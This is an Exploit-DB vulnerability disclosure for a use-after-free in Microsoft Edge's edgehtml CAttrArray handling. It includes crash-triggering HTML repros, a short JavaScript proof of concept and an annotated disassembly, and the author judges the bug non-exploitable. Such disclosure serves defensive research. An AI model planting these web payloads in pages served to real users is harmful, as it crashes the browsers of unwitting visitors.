Microsoft Edge 11.0.10240.16384 - 'edgehtml' CAttr­Array::Destroy Use-After-Free

EDB-ID:

40761

CVE:

N/A


Author:

Skylined

Type:

dos


Platform:

Windows

Date:

2016-11-15


<!--
Source: http://blog.skylined.nl/20161115001.html

Synopsis

A specially crafted web-page can cause Microsoft Edge to free memory used for a CAttr­Array object. The code continues to use the data in freed memory block immediately after freeing it. It does not appear that there is enough time between the free and reuse to exploit this issue.

Known affected software and attack vectors

Microsoft Edge 11.0.10240.16384

An attacker would need to get a target user to open a specially crafted web-page. Java­Script is not necessarily required to trigger the issue.

Repro

<x style="
  background-image: inherit;
  text-decoration: line-through;
  height: 0;
  width: 0;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  font: menu;">

Alternatively:

<body id=x style=margin:5 onload=x.style.remove­Property("margin")>

Description

When an element is created and style properties are added, these are stored in a CAttr­Array object. A new CAttr­Array is able to store up to 8 properties. If more properties need to be stored, the code will allocate memory for a larger CAttr­Array and copy the existing properties into this new object before freeing the old memory. The code will then continue to use the freed memory almost immediately. In the first repro, the "font" style property is the ninth property and triggers this issue. In the second repro, the only property of a CAttr­Array is removed, at which point it is freed but no new object is allocated. However, the code follows the same path and also reuses the freed memory.

Exploit

What little investigation I did appears to indicate that there is no way to reallocate the freed memory before its reuse. It is therefore probably not possible to exploit this issue that way. I did not investigate how the freed memory is used by the code exactly, and I did not look into other methods to exploit the issue. I did create a second repro that triggers the issue "on-demand" from Javascript but, as is to be expected, no Javascript is executed between the free and the re-use.
-->

<x id=x style="background-image: inherit;text-decoration: line-through;height: 0;width: 0;top: 0;left: 0;right: 0;bottom: 0;"><script>
  window.onload = function () {
    // This Po­C attempts to exploit a use-after-free bug in Microsoft Edge
    // See http://blog.skylined.nl/20161115001.html for details.
    // The CAttr­Array is full, adding another style property will cause Edge to
    // allocate a larger CAttr­Array, copy everything and free the old one.
    // The old one then continues to be used almost immediately:
    x.style.set­Property("font", "menu");
    // This work by Sky­Lined is licensed under a Creative Commons
    // Attribution-Non-Commercial 4.0 International License. 
  };
</script>

<!--
The code

Below you can find an annotated disassembly for the CAttr­Array::Destroy function, which calls CAttr­Array::Set (in which the memory is freed) before looping and re-using the memory. This loop shows there is very little time between the two events in which to reallocate the memory and attempt to control its contents. There also does not appear to be much this function can be made to do if the memory could be controlled.

EDGEHTML!CAttr­Array::Destroy:
6175024f 8bff            mov     edi,edi
61750251 55              push    ebp
61750252 8bec            mov     ebp,esp
61750254 83e4f8          and     esp,0FFFFFFF8h
61750257 83ec2c          sub     esp,2Ch
6175025a 8b510c          mov     edx,dword ptr [ecx+0Ch]
6175025d 8bc2            mov     eax,edx
6175025f 53              push    ebx
61750260 d1e8            shr     eax,1
61750262 894c240c        mov     dword ptr [esp+0Ch],ecx
61750266 56              push    esi
61750267 57              push    edi
61750268 a801            test    al,1
6175026a 0f85b56f3600    jne     EDGEHTML!CAttr­Array::Destroy+0x366fd6 (61ab7225)
{
  61ab7225 cc              int     3
  61ab7226 e94590c9ff      jmp     EDGEHTML!CAttr­Array::Destroy+0x21 (61750270)
}
61750270 8b5d08          mov     ebx,dword ptr [ebp+8]
61750273 8d7c2428        lea     edi,[esp+28h]
61750277 c1e304          shl     ebx,4
6175027a 035908          add     ebx,dword ptr [ecx+8]
6175027d 8bf3            mov     esi,ebx
6175027f 803b04          cmp     byte ptr [ebx],4
61750282 a5              movs    dword ptr es:[edi],dword ptr [esi]
61750283 a5              movs    dword ptr es:[edi],dword ptr [esi]
61750284 a5              movs    dword ptr es:[edi],dword ptr [esi]
61750285 a5              movs    dword ptr es:[edi],dword ptr [esi]
61750286 752d            jne     EDGEHTML!CAttr­Array::Destroy+0x66 (617502b5)
{
  617502b5 8bcb            mov     ecx,ebx
  617502b7 e870e4ffff      call    EDGEHTML!CAttr­Value::Get­DISPID (6174e72c)
  617502bc 8b742414        mov     esi,dword ptr [esp+14h]
  617502c0 8bca            mov     ecx,edx
  617502c2 c1e004          shl     eax,4
  617502c5 83e20f          and     edx,0Fh
  617502c8 2bc8            sub     ecx,eax
  617502ca 83e1f0          and     ecx,0FFFFFFF0h
  617502cd 0bca            or      ecx,edx
  617502cf 894e0c          mov     dword ptr [esi+0Ch],ecx
  617502d2 0fb74302        movzx   eax,word ptr [ebx+2]
  617502d6 a808            test    al,8
  617502d8 752c            jne     EDGEHTML!CAttr­Array::Destroy+0xb7 (61750306)
  {
    617502da 8b560c          mov     edx,dword ptr [esi+0Ch]                      ;<--------------.
    617502dd f6c208          test    dl,8                                         ;                \
    617502e0 0f95c1          setne   cl                                           ;                |
    617502e3 f6430201        test    byte ptr [ebx+2],1                           ; REUSE          |
    617502e7 0f95c0          setne   al                                           ;                |
    617502ea 84c8            test    al,cl                                        ;                |
    617502ec 8bce            mov     ecx,esi                                      ;                |
    617502ee 7498            je      EDGEHTML!CAttr­Array::Destroy+0x39 (61750288) ; >----,         |
    617502f0 b301            mov     bl,1                                         ;      |         |
    617502f2 eb96            jmp     EDGEHTML!CAttr­Array::Destroy+0x3b (6175028a) ; >--- | --.     |
  }                                                                               ;      |   |     |
  61750306 803b09          cmp     byte ptr [ebx],9                               ;      |   |    /|
  61750309 74cf            je      EDGEHTML!CAttr­Array::Destroy+0x8b (617502da)   ; >--- | - | --' |
  6175030b 8d442418        lea     eax,[esp+18h]                                  ;      |   |     |
  6175030f 8bcb            mov     ecx,ebx                                        ;      |   |     |
  61750311 50              push    eax                                            ;      |   |     |
  61750312 e89efeffff      call    EDGEHTML!CAttr­Value::Get­As­Variant­NC (617501b5) ;      |   |     |
  61750317 0fb74b02        movzx   ecx,word ptr [ebx+2]                           ;      |   |     |
  6175031b 81e1efff0000    and     ecx,0FFEFh                                     ;      |   |     |
  61750321 f6430380        test    byte ptr [ebx+3],80h                           ;      |   |     |
  61750325 7526            jne     EDGEHTML!CAttr­Array::Destroy+0xfe (6175034d)   ;      |   |     |
  {                                                                               ;      |   |     |
    6175034d 33c0            xor     eax,eax                                      ;      V   V     ^
    6175034f ebd9            jmp     EDGEHTML!CAttr­Array::Destroy+0xdb (6175032a) ;      |   |     |
  } else {                                                                        ;      |   |     |
    61750327 8b4304          mov     eax,dword ptr [ebx+4]                        ;      |   |     |
  }                                                                               ;      |   |     |
  6175032a 6a01            push    1                                              ;      |   |     |
  6175032c 6a01            push    1                                              ;      |   |     |
  6175032e 51              push    ecx                                            ;      |   |     |
  6175032f 6a09            push    9                                              ;      |   |     |
  61750331 8d4c2428        lea     ecx,[esp+28h]                                  ;      |   |     |
  61750335 51              push    ecx                                            ;      |   |     |
  61750336 50              push    eax                                            ;      |   |     |
  61750337 8bcb            mov     ecx,ebx                                        ;      |   |     |
  61750339 e8eee3ffff      call    EDGEHTML!CAttr­Value::Get­DISPID (6174e72c)      ;      |   |     |
  6175033e 50              push    eax                                            ;      |   |     |
  6175033f 8d44242f        lea     eax,[esp+2Fh]                                  ;      |   |     |
  61750343 8bce            mov     ecx,esi                                        ;      |   |     |
  61750345 50              push    eax                                            ;      |   |     |
  61750346 e8258a0800      call    EDGEHTML!CAttr­Array::Set (617d8d70)            ; FREE |   |     /
  6175034b eb8d            jmp     EDGEHTML!CAttr­Array::Destroy+0x8b (617502da)   ; >--- | - | ---'
}                                                                                 ;      |   |
61750288 33db            xor     ebx,ebx                                          ;<-----'   |
6175028a d1ea            shr     edx,1                                            ;<---------'
6175028c f6c201          test    dl,1
6175028f 0f85966f3600    jne     EDGEHTML!CAttr­Array::Destroy+0x366fdc (61ab722b)
{
  61ab722b cc              int     3
  61ab722c e96490c9ff      jmp     EDGEHTML!CAttr­Array::Destroy+0x46 (61750295)
}
61750295 ff7508          push    dword ptr [ebp+8]
61750298 6a10            push    10h
6175029a e8b1e01400      call    EDGEHTML!CImpl­Ary::Delete (6189e350)
6175029f 8d4c2428        lea     ecx,[esp+28h]
617502a3 e8ae000000      call    EDGEHTML!CAttr­Value::Free (61750356)
617502a8 84db            test    bl,bl
617502aa 7548            jne     EDGEHTML!CAttr­Array::Destroy+0xa5 (617502f4)
{
  617502f4 8b4c2414        mov     ecx,dword ptr [esp+14h]
  617502f8 6a03            push    3
  617502fa 68eb030180      push    800103EBh
  617502ff e8ac3e0c00      call    EDGEHTML!CAttr­Array::Delete­Attribute (618141b0)
  61750304 eba6            jmp     EDGEHTML!CAttr­Array::Destroy+0x5d (617502ac)
}
617502ac 5f              pop     edi
617502ad 5e              pop     esi
617502ae 5b              pop     ebx
617502af 8be5            mov     esp,ebp
617502b1 5d              pop     ebp
617502b2 c20400          ret     4

Time-line

September 2015: This vulnerability was found through fuzzing.
September 2015: This vulnerability was submitted to ZDI.
September 2015: This vulnerability was rejected by ZDI.
November 2016: The issue no longer reproduces in Microsoft Edge.
November 2016: Details of this issue are released.
-->